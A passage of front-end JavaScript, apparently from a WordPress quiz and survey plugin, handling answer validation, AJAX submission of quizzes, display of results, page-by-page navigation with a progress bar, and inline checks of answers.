qmnDisplayError(maxlength_error, jQuery(this), quiz_form_id);
show_result_validation = false;
}
}
var by_pass = true;
if (qmn_quiz_data[quiz_id].timer_limit_val > 0 && qmn_quiz_data[quiz_id].hasOwnProperty('skip_validation_time_expire') && qmn_quiz_data[quiz_id].skip_validation_time_expire == 0) {
by_pass = false;
}
if (localStorage.getItem('mlw_time_quiz' + quiz_id) === null || localStorage.getItem('mlw_time_quiz' + quiz_id) > 0.08 || by_pass === false) {
if (jQuery(this).attr('class').indexOf('mlwRequiredNumber') > -1 && this.value === "" && +this.value != NaN) {
qmnDisplayError(error_messages.number_error_text, jQuery(this), quiz_form_id);
show_result_validation = false;
}
if (jQuery(this).attr('class').indexOf('mlwRequiredDate') > -1 && this.value === "") {
qmnDisplayError(error_messages.empty_error_text, jQuery(this), quiz_form_id);
show_result_validation = false;
}
if (jQuery(this).attr('class').indexOf('mlwRequiredText') > -1 && jQuery.trim(this.value) === "") {
qmnDisplayError(error_messages.empty_error_text, jQuery(this), quiz_form_id);
show_result_validation = false;
}
if (jQuery(this).attr('class').indexOf('mlwRequiredCaptcha') > -1 && this.value != mlw_code) {
qmnDisplayError(error_messages.incorrect_error_text, jQuery(this), quiz_form_id);
show_result_validation = false;
}
if (jQuery(this).attr('class').indexOf('mlwRequiredAccept') > -1 && !jQuery(this).prop('checked')) {
qmnDisplayError(error_messages.empty_error_text, jQuery(this), quiz_form_id);
show_result_validation = false;
}
if (jQuery(this).attr('class').indexOf('mlwRequiredRadio') > -1) {
check_val = jQuery(this).find('input:checked').val();
if (check_val == "" || check_val == undefined) {
qmnDisplayError(error_messages.empty_error_text, jQuery(this), quiz_form_id);
show_result_validation = false;
}
}
if (jQuery(this).attr('class').indexOf('mlwRequiredFileUpload') > -1) {
var selected_file = jQuery(this).get(0).files.length;
if (selected_file === 0) {
qmnDisplayError(error_messages.empty_error_text, jQuery(this), quiz_form_id);
show_result_validation = false;
}
}
if (jQuery(this).attr('class').indexOf('qsmRequiredSelect') > -1) {
check_val = jQuery(this).val();
if (check_val == "" || check_val == null) {
qmnDisplayError(error_messages.empty_error_text, jQuery(this), quiz_form_id);
show_result_validation = false;
}
}
if (jQuery(this).attr('class').indexOf('mlwRequiredCheck') > -1) {
if (!jQuery(this).find('input:checked').length) {
qmnDisplayError(error_messages.empty_error_text, jQuery(this), quiz_form_id);
show_result_validation = false;
}
}
//Google recaptcha validation
if (jQuery(this).attr('class').indexOf('g-recaptcha-response') > -1) {
if (grecaptcha.getResponse() == "") {
alert('ReCaptcha is missing');
show_result_validation = false;
}
}
}
}
});
jQuery(document).trigger('qsm_after_validation', [element, quiz_form_id]);
return show_result_validation;
}
function getFormData($form) {
var unindexed_array = $form.serializeArray();
var indexed_array = {};
jQuery.map(unindexed_array, function (n, i) {
indexed_array[n['name']] = n['value'];
});
return indexed_array;
}
function qmnFormSubmit(quiz_form_id) {
var quiz_id = +jQuery('#' + quiz_form_id).find('.qmn_quiz_id').val();
var $container = jQuery('#' + quiz_form_id).closest('.qmn_quiz_container');
var result = qmnValidation('#' + quiz_form_id + ' *', quiz_form_id);
if (!result) { return result; }
/**
* Update Timer in MS
*/
var timer_ms = jQuery('#' + quiz_form_id).find(".qsm-quiz-container-" + quiz_id + " input[name='timer_ms']").val();
var new_timer_ms = qsmTimeInMS();
jQuery('#' + quiz_form_id).find(".qsm-quiz-container-" + quiz_id + " input[name='timer_ms']").val(Math.abs(new_timer_ms - timer_ms));
jQuery('.mlw_qmn_quiz input:radio').attr('disabled', false);
jQuery('.mlw_qmn_quiz input:checkbox').attr('disabled', false);
jQuery('.mlw_qmn_quiz select').attr('disabled', false);
jQuery('.mlw_qmn_question_comment').attr('disabled', false);
jQuery('.mlw_answer_open_text').attr('disabled', false);
//Convert serialize data into index array
var unindexed_array = jQuery('#' + quiz_form_id).serializeArray();
unindexed_array.push(
{
name: 'quiz_start_date',
value: localStorage.getItem('mlw_quiz_start_date' + quiz_id)
}
)
jQuery(document).trigger('qsm_before_form_data_process', [quiz_form_id, unindexed_array]);
var fd = new FormData();
jQuery.each(unindexed_array, function (key, input) {
fd.append(input.name, input.value);
});
fd.append("action", 'qmn_process_quiz');
fd.append("nonce", jQuery('#qsm_nonce_' + quiz_id ).val() );
fd.append("currentuserTime", Math.round(new Date().getTime() / 1000));
fd.append("currentuserTimeZone", Intl.DateTimeFormat().resolvedOptions().timeZone);
qsmEndTimeTakenTimer(quiz_id);
if (qmn_quiz_data[quiz_id].hasOwnProperty('advanced_timer') && qmn_quiz_data[quiz_id].advanced_timer.hasOwnProperty('show_stop_timer') ) {
QSMPageTimer.endPageTimer(quiz_id);
}
if (qmn_quiz_data[quiz_id].hasOwnProperty('timer_limit')) {
QSM.endTimer(quiz_id);
}
jQuery(document).trigger('qsm_before_quiz_submit', [quiz_form_id]);
jQuery('#' + quiz_form_id + ' input[type=submit]').attr('disabled', 'disabled');
qsmDisplayLoading($container, quiz_id);
jQuery.ajax({
url: qmn_ajax_object.ajaxurl,
data: fd,
contentType: false,
processData: false,
type: 'POST',
success: function (response) {
response = JSON.parse(response);
if (window.qsm_results_data === undefined) {
window.qsm_results_data = new Object();
}
window.qsm_results_data[quiz_id] = {
'save_response': response.result_status['save_response'],
'id': response.result_status['id']
};
if (response.quizExpired) {
MicroModal.show('modal-4');
return false;
} else {
qmnDisplayResults(response, quiz_form_id, $container, quiz_id);
// run MathJax on the new content
if (1 != qmn_quiz_data[quiz_id].disable_mathjax) {
MathJax.typesetPromise();
}
jQuery(document).trigger('qsm_after_quiz_submit_load_chart');
jQuery(document).trigger('qsm_after_quiz_submit', [quiz_form_id]);
}
},
error: function (errorThrown) {
let response = { display: errorThrown.responseText + "<br/> Error:" + errorThrown.statusText};
qmnDisplayResults(response, quiz_form_id, $container, quiz_id);
console.log(errorThrown);
}
});
return false;
}
jQuery(document).on('qsm_after_quiz_submit', function(e, quiz_form_id) {
let quiz_id = quiz_form_id.replace("quizForm", "");
if( localStorage.getItem('mlw_quiz_start_date' + quiz_id) ) {
localStorage.removeItem('mlw_quiz_start_date' + quiz_id);
}
})
function qsmDisplayLoading($container, quiz_id) {
jQuery(document).trigger('qsm_before_loader_init', [$container,quiz_id]);
var loader_html = '<div class="qsm_quiz_processing_box">';
loader_html += '<div class="qsm-spinner-loader qsm_quiz_processing_loader"></div>';
if (qmn_quiz_data[quiz_id].hasOwnProperty('quiz_processing_message') && qmn_quiz_data[quiz_id].quiz_processing_message != '') {
loader_html += '<div class="qsm_quiz_processing_message">' + qmn_quiz_data[quiz_id].quiz_processing_message + '</div>';
}
loader_html += '</div>';
$container.empty();
$container.append(loader_html);
if (qmn_quiz_data[quiz_id].hasOwnProperty('disable_scroll_next_previous_click') && qmn_quiz_data[quiz_id].disable_scroll_next_previous_click != 1) {
qsmScrollTo($container);
}
jQuery(document).trigger('qsm_after_loader_init', [$container,quiz_id]);
}
function qmnDisplayResults(results, quiz_form_id, $container, quiz_id) {
$container.empty();
jQuery(document).trigger('qsm_before_display_result', [results, quiz_form_id, $container]);
if (results.redirect) {
window.location.replace(results.redirect);
} else {
$container.append('<div class="qmn_results_page"></div>');
$container.find('.qmn_results_page').html(results.display);
if (qmn_quiz_data[quiz_id].hasOwnProperty('disable_scroll_next_previous_click') && qmn_quiz_data[quiz_id].disable_scroll_next_previous_click != 1) {
qsmScrollTo($container);
}
// Fires after result is populates via ajax
jQuery(document).trigger('qsm_after_display_result', [results, quiz_form_id, $container]);
}
}
function qmnInit() {
if (typeof qmn_quiz_data != 'undefined' && qmn_quiz_data) {
_.each(qmn_quiz_data, function (quiz) {
let key = parseInt(quiz.quiz_id);
if (qmn_quiz_data[key].ajax_show_correct === '1') {
jQuery('#quizForm' + qmn_quiz_data[key].quiz_id + ' .qmn_quiz_radio').change(function () {
let $this = jQuery(this);
let value = $this.val();
let question_id = $this.attr('name').replace(/question/i, '');
jQuery.ajax({
type: 'POST',
url: qmn_ajax_object.ajaxurl,
data: {
action: "qsm_get_question_quick_result",
question_id: question_id,
answer: value,
},
success: function (response) {
let data = jQuery.parseJSON(response);
if (data.success == 'correct') {
$this.parent().addClass("qmn_correct_answer");
} else if (data.success == 'incorrect') {
$this.parent().addClass("qmn_incorrect_answer");
}
},
error: function (errorThrown) {
alert(errorThrown);
}
});
});
}
if (qmn_quiz_data[key].disable_answer === '1') {
jQuery('#quizForm' + qmn_quiz_data[key].quiz_id + ' .qmn_quiz_radio').change(function () {
var radio_group = jQuery(this).attr('name');
jQuery('input[type=radio][name=' + radio_group + ']').prop('disabled', true);
let radio_value = jQuery(this).val();
let disableAnswer = {};
if (localStorage.getItem("disable_answer")) {
disableAnswer = JSON.parse(localStorage.getItem("disable_answer"));
}
if (!disableAnswer[key]) {
disableAnswer[key] = [];
}
let disabledQuestions = disableAnswer[key].map(element => element[0]);
if (!disabledQuestions.includes(radio_group)) {
disableAnswer[key].push([radio_group, radio_value]);
}
localStorage.setItem("disable_answer", JSON.stringify(disableAnswer));
});
if (localStorage.getItem("disable_answer")) {
let disabledAnswer = JSON.parse(localStorage.getItem("disable_answer"));
if (disabledAnswer[key]) {
disabledAnswer[key].forEach(element => {
let element1 = element[1].replaceAll(' ', '-');
jQuery('#' + element[0] + '-' + element1 + ' input').prop('checked', true).trigger('change');
});
}
}
jQuery(document).on('qsm_after_quiz_submit', function (event, quiz_form_id) {
event.preventDefault();
if (localStorage.getItem("disable_answer")) {
let disabledAnswer2 = JSON.parse(localStorage.getItem("disable_answer"));
if (disabledAnswer2[key]) {
delete disabledAnswer2[key];
localStorage.setItem("disable_answer", JSON.stringify(disabledAnswer2));
}
}
});
}
if (qmn_quiz_data[key].hasOwnProperty('pagination')) {
qmnInitPagination(qmn_quiz_data[key].quiz_id);
}
});
}
}
//Function to validate the answers provided in quiz
function qmnValidatePage(quiz_form_id) {
var result = qmnValidation('#' + quiz_form_id + ' .quiz_section:visible *', quiz_form_id);
return result;
}
// Show start quiz button if first page is visible
function check_if_show_start_quiz_button(container, total_pages, page_number) {
if(container.find('.quiz_begin').is(':visible')){
container.find(".mlw_custom_start").show();
container.find(".mlw_custom_next").hide();
}else{
container.find(".mlw_custom_start").hide();
if(total_pages != parseInt(page_number) + 2){ // check if not last page based on condition (1140)
container.find(".mlw_custom_next").show();
if (jQuery('.quiz_end').is(':visible')) {
container.find(".mlw_custom_next").hide();
}
}
}
}
//Function to advance quiz to next page
function qmnNextSlide(pagination, go_to_top, quiz_form_id) {
jQuery(document).trigger('qsm_next_button_click_before', [quiz_form_id]);
var quiz_id = +jQuery(quiz_form_id).find('.qmn_quiz_id').val();
var $container = jQuery(quiz_form_id).closest('.qmn_quiz_container');
var slide_number = +$container.find('.slide_number_hidden').val();
var page_number = +$container.find('.current_page_hidden').val();
var section_totals = +$container.find('.total_sections_hidden').val();
if (pagination == 1) {
section_totals = section_totals - 1;
}
var total_pages = $container.find('.total_pages_hidden').val();
jQuery(quiz_form_id + " .qsm-auto-page-row").hide();
if (page_number >= total_pages) {
alert('Next page not found.');
$container.find(".mlw_next").hide();
$container.find(".qsm-submit-btn").show();
jQuery(quiz_form_id + " .qsm-auto-page-row.quiz_end").show();
return true;
}
if (slide_number == 0 && page_number == 0) {
jQuery(quiz_form_id + " .qsm-auto-page-row.quiz_begin").show();
$container.find(".mlw_previous").hide();
$container.find('.current_page_hidden').val('1');
} else if (total_pages == parseInt(page_number) + 1) { //Last page
$container.find(".mlw_next").hide();
$container.find(".qsm-submit-btn").show();
jQuery(quiz_form_id + " .qsm-auto-page-row.quiz_end").show();
$container.find('.slide_number_hidden').val(parseInt(slide_number) + 1);
$container.find('.current_page_hidden').val(parseInt(page_number) + 1);
$container.find(".mlw_previous").show();
$container.find('.g-recaptcha').show();
} else if (slide_number >= 0 && page_number >= 1) {
if (total_pages == parseInt(page_number) + 2) { // if last page empty
if (jQuery(quiz_form_id + " .qsm-auto-page-row.empty_quiz_end").length) {
jQuery(quiz_form_id + " .qsm-auto-page-row.empty_quiz_end").show();
$container.find(".qsm-submit-btn").show();
$container.find(".mlw_next").hide();
$container.find('.g-recaptcha').show();
}
}
$container.find('.qsm-auto-page-row.qsm-apc-' + page_number).show();
$container.find('.slide_number_hidden').val(parseInt(slide_number) + 1);
$container.find('.current_page_hidden').val(parseInt(page_number) + 1);
$container.find(".mlw_previous").show();
}
check_if_show_start_quiz_button($container, total_pages, page_number);
if (jQuery(quiz_form_id + " .quiz_section.quiz_end").is(':visible')) {
var button_width = jQuery(quiz_form_id + ' .qsm-submit-btn').width();
var progress_width = jQuery(quiz_form_id).parent().find('.qmn_pagination').width();
jQuery(quiz_form_id).parent().find('.qmn_pagination').css('width', progress_width - button_width - 40);
} else {
jQuery(quiz_form_id).parent().find('.qmn_pagination').css('width', '100%');
}
if (go_to_top == 1 && qmn_quiz_data[quiz_id].disable_scroll_next_previous_click != 1) {
qsmScrollTo($container);
}
if (!qmn_quiz_data[quiz_id].hasOwnProperty('first_page') || !qmn_quiz_data[quiz_id].first_page) {
if (slide_number == 0 && page_number == 0) {
$container.find(".qsm-auto-page-row.quiz_begin").hide();
$container.find('.qsm-auto-page-row.qsm-apc-' + (parseInt(page_number) + 1)).show();
$container.find('.slide_number_hidden').val(parseInt(slide_number) + 1);
$container.find('.current_page_hidden').val(parseInt(page_number) + 2);
$container.find(".mlw_previous").hide();
}
}
//Show the page counts
if (page_number > 0 && jQuery(quiz_form_id).closest('.qmn_quiz_container').find('.pages_count').length > 0) {
var actual_pages = total_pages - 2;
if (page_number <= actual_pages) {
jQuery(quiz_form_id).closest('.qmn_quiz_container').find('.pages_count').text('').text(page_number + qmn_ajax_object.out_of_text + actual_pages);
jQuery(quiz_form_id).closest('.qmn_quiz_container').find('.pages_count').show();
} else {
jQuery(quiz_form_id).closest('.qmn_quiz_container').find('.pages_count').hide();
}
} else {
jQuery(quiz_form_id).closest('.qmn_quiz_container').find('.pages_count').hide();
}
qmnInitProgressbarOnClick(quiz_id, page_number, total_pages);
jQuery(document).trigger('qsm_auto_next_button_click_after', [quiz_form_id]);
}
function qmnPrevSlide(pagination, go_to_top, quiz_form_id) {
jQuery(document).trigger('qsm_previous_button_click_before', [quiz_form_id]);
var quiz_id = +jQuery(quiz_form_id).find('.qmn_quiz_id').val();
var $container = jQuery(quiz_form_id).closest('.qmn_quiz_container');
var slide_number = +$container.find('.slide_number_hidden').val();
var previous = +$container.find('.previous_amount_hidden').val();
var section_totals = +$container.find('.total_sections_hidden').val();
var page_number = +$container.find('.current_page_hidden').val();
var total_pages = $container.find('.total_pages_hidden').val();
jQuery(quiz_form_id + " .qsm-auto-page-row").hide();
jQuery(quiz_form_id + " .g-recaptcha").hide();
var slide_original_val = parseInt(slide_number) - 1;
if (slide_original_val == 0) {
$container.find(".mlw_next").show();
$container.find(".qsm-submit-btn").hide();
jQuery(quiz_form_id + " .qsm-auto-page-row.quiz_begin").show();
$container.find('.slide_number_hidden').val(slide_original_val);
$container.find('.current_page_hidden').val(parseInt(page_number) - 1);
$container.find(".mlw_previous").hide();
} else {
$container.find('.qsm-auto-page-row.qsm-apc-' + slide_original_val).show();
$container.find('.slide_number_hidden').val(slide_original_val);
$container.find('.current_page_hidden').val(parseInt(page_number) - 1);
$container.find(".mlw_next").show();
$container.find(".qsm-submit-btn").hide();
}
check_if_show_start_quiz_button($container, total_pages, page_number);
if (go_to_top == 1 && qmn_quiz_data[quiz_id].disable_scroll_next_previous_click != 1) {
qsmScrollTo($container);
}
if (qmn_quiz_data[quiz_id].disable_first_page == 1) {
if (page_number == 3) {
$container.find(".qsm-auto-page-row.quiz_begin").hide();
$container.find(".mlw_previous").hide();
}
}
if (page_number > 0 && jQuery(quiz_form_id).closest('.qmn_quiz_container').find('.pages_count').length > 0) {
var actual_pages = total_pages - 2;
if (slide_original_val <= actual_pages) {
jQuery(quiz_form_id).closest('.qmn_quiz_container').find('.pages_count').text('').text(slide_original_val + qmn_ajax_object.out_of_text + actual_pages);
if (slide_original_val == 0) {
jQuery(quiz_form_id).closest('.qmn_quiz_container').find('.pages_count').hide();
} else {
jQuery(quiz_form_id).closest('.qmn_quiz_container').find('.pages_count').show();
}
} else {
jQuery(quiz_form_id).closest('.qmn_quiz_container').find('.pages_count').hide();
}
}
jQuery(quiz_form_id).parent().find('.qmn_pagination').css('width', '100%');
qmnInitProgressbarOnClick(quiz_id, slide_original_val, total_pages);
jQuery(document).trigger('qsm_auto_previous_button_click_after', [quiz_form_id]);
}
/**
* @since 6.4.11
* @param {int} quiz_id
* @param {int} page_number
* @param {int} total_page_number
* @returns Change progress bar on next and previous button click
*/
function qmnInitProgressbarOnClick(quiz_id, page_number, total_page_number) {
if ('1' == qmn_quiz_data[quiz_id].progress_bar) {
var qmn_total_questions = qmn_quiz_data[quiz_id].pagination.total_questions;
var pagination = qmn_quiz_data[quiz_id].pagination.amount;
total_page_number = Math.ceil(qmn_total_questions / pagination);
if (!jQuery('#quizForm' + quiz_id).closest('.qmn_quiz_container').find('.empty_quiz_end').length) {
total_page_number = total_page_number + 1; //Increase for quiz end section
}
var animate_value = page_number / total_page_number;
if (animate_value <= 1) {
qmn_quiz_data[quiz_id].bar.animate(animate_value);
var old_text = jQuery('#qsm_progress_bar_' + quiz_id).find('.progressbar-text').text().replace(' %', '');
var new_text = Math.round(animate_value * 100);
jQuery({
Counter: old_text
}).animate({
Counter: new_text
}, {
duration: 500,
easing: 'swing',
step: function () {
jQuery('#qsm_progress_bar_' + quiz_id).find('.progressbar-text').text(Math.round(this.Counter) + ' %');
}
});
}
}
}
function qmnUpdatePageNumber(amount, quiz_form_id) {
var current_page = +jQuery(quiz_form_id).closest('.qmn_quiz_container').find('.current_page_hidden').val();
var total_pages = jQuery(quiz_form_id).closest('.qmn_quiz_container').find('.total_pages_hidden').val();
current_page += amount;
//jQuery( quiz_form_id ).siblings( '.qmn_pagination' ).find( " .qmn_page_counter_message" ).text( current_page + "/" + total_pages );
}
function qmnInitPagination(quiz_id) {
var qmn_section_total = +qmn_quiz_data[quiz_id].pagination.total_questions;
var qmn_total_questions = jQuery('#quizForm' + quiz_id).find('#qmn_all_questions_count').val();
var qmn_total_pages = Math.ceil(qmn_total_questions / +qmn_quiz_data[quiz_id].pagination.amount);
qmn_total_pages = qmn_total_pages + 1; //quiz begin
qmn_total_pages = qmn_total_pages + 1; //quiz end
jQuery('#quizForm' + quiz_id).closest('.qmn_quiz_container').append('<div class="qmn_pagination border margin-bottom"></div>');
jQuery('#quizForm' + quiz_id).closest('.qmn_quiz_container').find('.qmn_pagination').append('<input type="hidden" value="0" name="slide_number" class="slide_number_hidden" />')
.append('<input type="hidden" value="0" name="current_page" class="current_page_hidden" />')
.append('<input type="hidden" value="' + qmn_total_pages + '" name="total_pages" class="total_pages_hidden" />')
.append('<input type="hidden" value="' + qmn_section_total + '" name="total_sections" class="total_sections_hidden" />')
.append('<input type="hidden" value="0" name="previous_amount" class="previous_amount_hidden" />')
.append('<a class="qmn_btn mlw_qmn_quiz_link mlw_previous" href="javascript:void(0)">' + qmn_quiz_data[quiz_id].pagination.previous_text + '</a>')
.append('<span class="qmn_page_message"></span>')
.append('<div class="qmn_page_counter_message"></div>')
.append('<div class="qsm-progress-bar" id="qsm_progress_bar_' + quiz_id + '" style="display:none;"><div class="progressbar-text"></div></div>')
.append('<a class="qmn_btn mlw_qmn_quiz_link mlw_next mlw_custom_start" href="javascript:void(0)">' + qmn_quiz_data[quiz_id].pagination.start_quiz_survey_text + '</a>')
.append('<input type="submit" value="' + qmn_quiz_data[quiz_id].pagination.submit_quiz_text + '" class="qsm-btn qsm-submit-btn qmn_btn" style="display:none;"/>')
.append('<a class="qmn_btn mlw_qmn_quiz_link mlw_next mlw_custom_next" href="javascript:void(0)">' + qmn_quiz_data[quiz_id].pagination.next_text + '</a>');
if ('1' == qmn_quiz_data[quiz_id].progress_bar) {
jQuery(document).trigger('qsm_init_progressbar_before', [quiz_id, qmn_quiz_data]);
jQuery('#quizForm' + quiz_id).closest('.qmn_quiz_container').find('.qsm-progress-bar').show();
qmn_quiz_data[quiz_id].bar = new ProgressBar.Line('#qsm_progress_bar_' + quiz_id, {
strokeWidth: 2,
easing: 'easeInOut',
duration: 500,
color: '#3498db',
trailColor: '#eee',
trailWidth: 1,
svgStyle: { width: '100%', height: '100%' },
text: {
style: {
// color: '#999',
position: 'absolute',
padding: 0,
margin: 0,
top: 0,
right: '10px',
'font-size': '13px',
'font-weight': 'bold',
transform: null
},
autoStyleContainer: false
},
from: { color: '#3498db' },
to: { color: '#ED6A5A' },
step: function (state, bar) {
}
});
jQuery(document).trigger('qsm_init_progressbar_after', [quiz_id, qmn_quiz_data]);
}
jQuery(document).on("click", ".qsm-quiz-container-" + quiz_id + " .mlw_next", function (event) {
let quiz_id = +jQuery(this).closest('.qmn_quiz_container').find('.qmn_quiz_id').val();
jQuery(document).trigger('qsm_auto_next_button_click_before', [quiz_id]);
event.preventDefault();
let $quizForm = QSM.getQuizForm(quiz_id);
jQuery('.qsm-quiz-container-' + quiz_id + ' .mlw_custom_next').addClass('qsm-disabled-btn');
jQuery('.qsm-quiz-container-' + quiz_id + ' .mlw_custom_next').append('<div class="qsm-spinner-loader" style="font-size: 3.5px;margin-right: -5px;margin-left: 10px;"></div>');
localStorage.setItem('qsm_total_validation_question' + quiz_id, 0);
localStorage.setItem('qsm_total_validated_question' + quiz_id, 0);
jQuery('.qmn_radio_answers:visible input:checked , .qmn_check_answers:visible input:checked , .qsm_select:visible').each(function () {
if (qmn_quiz_data[quiz_id].end_quiz_if_wrong > 0 && jQuery(this).parents().is(':visible') && jQuery(this).is('input, select')) {
if (jQuery(this).parents('.qmn_radio_answers, .qsm_check_answer')) {
let question_id = jQuery(this).attr('name').split('question')[1],
value = jQuery(this).val(),
$this = jQuery(this).parents('.quiz_section');
if (value !== "") {
let qsm_validation_question = localStorage.getItem('qsm_total_validation_question' + quiz_id);
qsm_validation_question++
localStorage.setItem('qsm_total_validation_question' + quiz_id, qsm_validation_question);
qsm_submit_quiz_if_answer_wrong(question_id, value, $this, $quizForm);
}
}
}
})
if ( localStorage.getItem('qsm_total_validation_question' + quiz_id) == localStorage.getItem('qsm_total_validated_question' + quiz_id) ) {
jQuery('.qsm-quiz-container-' + quiz_id + ' .mlw_custom_next').removeClass('qsm-disabled-btn');
jQuery('.qsm-quiz-container-' + quiz_id + ' .qsm-spinner-loader').remove();
if (qmnValidatePage('quizForm' + quiz_id)) {
qmnNextSlide(qmn_quiz_data[quiz_id].pagination.amount, 1, '#quizForm' + quiz_id);
}
}
jQuery(document).trigger('qsm_next_button_click_after', [quiz_id]);
});
jQuery(document).on("click", ".qsm-quiz-container-" + quiz_id + " .mlw_previous", function (event) {
event.preventDefault();
var quiz_id = +jQuery(this).closest('.qmn_quiz_container').find('.qmn_quiz_id').val();
qmnPrevSlide(qmn_quiz_data[quiz_id].pagination.amount, 1, '#quizForm' + quiz_id);
jQuery(document).trigger('qsm_previous_button_click_after', [quiz_id]);
});
if (qmn_quiz_data[quiz_id].first_page) {
qmnNextSlide(1, 0, '#quizForm' + quiz_id);
} else {
qmnNextSlide(qmn_quiz_data[quiz_id].pagination.amount, 0, '#quizForm' + quiz_id);
}
jQuery(document).trigger('qsm_init_pagination_after', [quiz_id, qmn_quiz_data]);
}
function qmnSocialShare(network, mlw_qmn_social_text, mlw_qmn_title, facebook_id, share_url) {
var sTop = window.screen.height / 2 - (218);
var sLeft = window.screen.width / 2 - (313);
var sqShareOptions = "height=400,width=580,toolbar=0,status=0,location=0,menubar=0,directories=0,scrollbars=0,top=" + sTop + ",left=" + sLeft;
var pageUrl = window.location.href;
var pageUrlEncoded = encodeURIComponent(share_url);
var url = '';
if (network == 'facebook') {
url = "https://www.facebook.com/dialog/feed?" + "display=popup&" + "app_id=" + facebook_id +
"&" + "link=" + pageUrlEncoded + "&" + "name=" + encodeURIComponent(mlw_qmn_social_text) +
"&" + "description=";
}
if (network == 'twitter') {
url = "https://twitter.com/intent/tweet?text=" + encodeURIComponent(mlw_qmn_social_text);
}
window.open(url, "Share", sqShareOptions);
return false;
}
function maxLengthCheck(object) {
if (object.value.length > object.maxLength) {
object.value = object.value.slice(0, object.maxLength)
}
}
jQuery(function () {
jQuery('.qmn_quiz_container').tooltip({
position: {
my: "center top+10",
at: "center bottom",
classes: {
"ui-tooltip": "hint-qsm-tooltip"
},
using: function( position, feedback ) {
jQuery( this ).css( position );
jQuery( "<div>" )
.addClass( "qsm-tooltip-arrow" )
.addClass( feedback.vertical )
.addClass( feedback.horizontal )
.appendTo( this );
}
}
});
jQuery('.qmn_quiz_container input').on('keypress', function (e) {
if (e.which === 13) {
e.preventDefault();
}
});
jQuery(document).on('click', ".qsm-submit-btn", function (event) {
event.preventDefault();
let quiz_id = +jQuery(this).closest('.qmn_quiz_container').find('.qmn_quiz_id').val();
let form_id = "quizForm"+quiz_id;
jQuery(document).trigger('qsm_quiz_submit_trigger', [quiz_id]);
let recaptcha = jQuery('#' + form_id).find("#qsm_grecaptcha_v3");
if (!recaptcha.length) {
qmnFormSubmit(form_id);
return false;
}
// Proceed reCaptcha v3
let site_key = jQuery('#' + form_id).find("#qsm_grecaptcha_v3_sitekey").val();
let submit_action = jQuery('#' + form_id).find("#qsm_grecaptcha_v3_nonce").val();
grecaptcha.ready(function () {
grecaptcha.execute(site_key, { action: submit_action }).then(function (token) {
jQuery('#' + form_id).find("#qsm_grecaptcha_v3_response").val(token);
qmnFormSubmit(form_id);
});
});
});
jQuery(document).on('click', '.btn-reload-quiz', function (e) {
e.preventDefault();
var quiz_id = jQuery(this).data('quiz_id');
var parent_div = jQuery(this).parents('.qsm-quiz-container');
qsmDisplayLoading(parent_div, quiz_id);
jQuery.ajax({
type: 'POST',
url: qmn_ajax_object.ajaxurl,
data: {
action: "qsm_get_quiz_to_reload",
quiz_id: quiz_id,
},
success: function (response) {
parent_div.replaceWith(response);
//Reload the timer and pagination
qmnDoInit();
if (1 != qmn_quiz_data[quiz_id].disable_mathjax) {
MathJax.typesetPromise();
}
// trigger fired on successfull retake quiz
jQuery(document).trigger('qsm_retake_quiz', [quiz_id]);
},
error: function (errorThrown) {
console.log('error');
}
});
});
jQuery(document).on('change', '.qmn_radio_answers input, .qsm_dropdown' , function (e) {
let $i_this = jQuery(this);
var quizID = jQuery(this).parents('.qsm-quiz-container').find('.qmn_quiz_id').val();
let value = jQuery(this).val();
let $this = jQuery(this).parents('.quiz_section');
let question_id = $i_this.attr('name').split('question')[1];
if (qmn_quiz_data[quizID].enable_quick_result_mc == 1) {
qsm_show_inline_result(quizID, question_id, value, $this, 'radio', $i_this)
}
jQuery(document).trigger('qsm_after_select_answer', [quizID, question_id, value, $this, 'radio']);
});
let qsm_inline_result_timer;
jQuery(document).on('keyup', '.mlw_answer_open_text, .mlw_answer_number, .qmn_fill_blank ', function (e) {
let $i_this = jQuery(this);
let quizID = jQuery(this).parents('.qsm-quiz-container').find('.qmn_quiz_id').val();
let question_id = $i_this.attr('name').split('question')[1];
let value = $i_this.val();
let $this = $i_this.parents('.quiz_section');
clearTimeout(qsm_inline_result_timer);
qsm_inline_result_timer = setTimeout(() => {
if (qmn_quiz_data[quizID].enable_quick_result_mc == 1) {
qsm_show_inline_result(quizID, question_id, value, $this, 'input', $i_this, $this.find('.qmn_fill_blank').index($i_this));
}
jQuery(document).trigger('qsm_after_select_answer', [quizID, question_id, value, $this, 'input', $this.find('.qmn_fill_blank').index($i_this)]);
}, 2000);
});
//inline result status function
function qsm_show_inline_result(quizID, question_id, value, $this, answer_type, $i_this, index = null) {
jQuery('.qsm-spinner-loader').remove();
addSpinnerLoader($this,$i_this);
jQuery.ajax({
type: 'POST',
url: qmn_ajax_object.ajaxurl,
data: {
action: "qsm_get_question_quick_result",
question_id: question_id,
answer: value,
index: index,
answer_type: answer_type,
show_correct_info: qmn_quiz_data[quizID].enable_quick_correct_answer_info
},
success: function (response) {
var data = jQuery.parseJSON(response);
$this.find('.quick-question-res-p').remove();
$this.find('.qsm-inline-correct-info').remove();
$this.find('.qmn_radio_answers').children().removeClass('data-correct-answer');
if (data.success == 'correct') {
$this.append('<div style="color: green" class="quick-question-res-p">' + qmn_quiz_data[quizID].quick_result_correct_answer_text + '</div>')
$this.append('<div class="qsm-inline-correct-info">' + data.message + '</div>');
} else if (data.success == 'incorrect') {
$this.find('.qmn_radio_answers').children().eq(parseInt(data.correct_index)).addClass('data-correct-answer');
$this.append('<div style="color: red" class="quick-question-res-p">' + qmn_quiz_data[quizID].quick_result_wrong_answer_text + '</div>')
$this.append('<div class="qsm-inline-correct-info">' + data.message + '</div>');
}
if (1 != qmn_quiz_data[quizID].disable_mathjax) {
MathJax.typesetPromise();
}
jQuery('.qsm-spinner-loader').remove();
},
error: function (errorThrown) {
alert(errorThrown);
jQuery('.qsm-spinner-loader').remove();
}
});
}
function addSpinnerLoader($this,$i_this) {
if ($this.find('.mlw_answer_open_text').length) {
$this.find('.mlw_answer_open_text').after('<div class="qsm-spinner-loader" style="font-size: 2.5px;margin-left:10px;"></div>');
} else if ($this.find('.mlw_answer_number').length) {
$this.find('.mlw_answer_number').after('<div class="qsm-spinner-loader" style="font-size: 2.5px;margin-left:10px;"></div>');
} else {
$i_this.next('.qsm-input-label').after('<div class="qsm-spinner-loader" style="font-size: 2.5px;"></div>');
}
}
// Autocomplete off
jQuery('.qsm-quiz-container').find('.qmn_quiz_id').each(function () {
var quizID = jQuery(this).val();
if (qmn_quiz_data[quizID].form_disable_autofill == 1) {
jQuery('#quizForm' + quizID).attr('autocomplete', 'off');
}
});
jQuery(document).on('change ', '.qmn_check_answers input', function (e) {
let $i_this = jQuery(this);
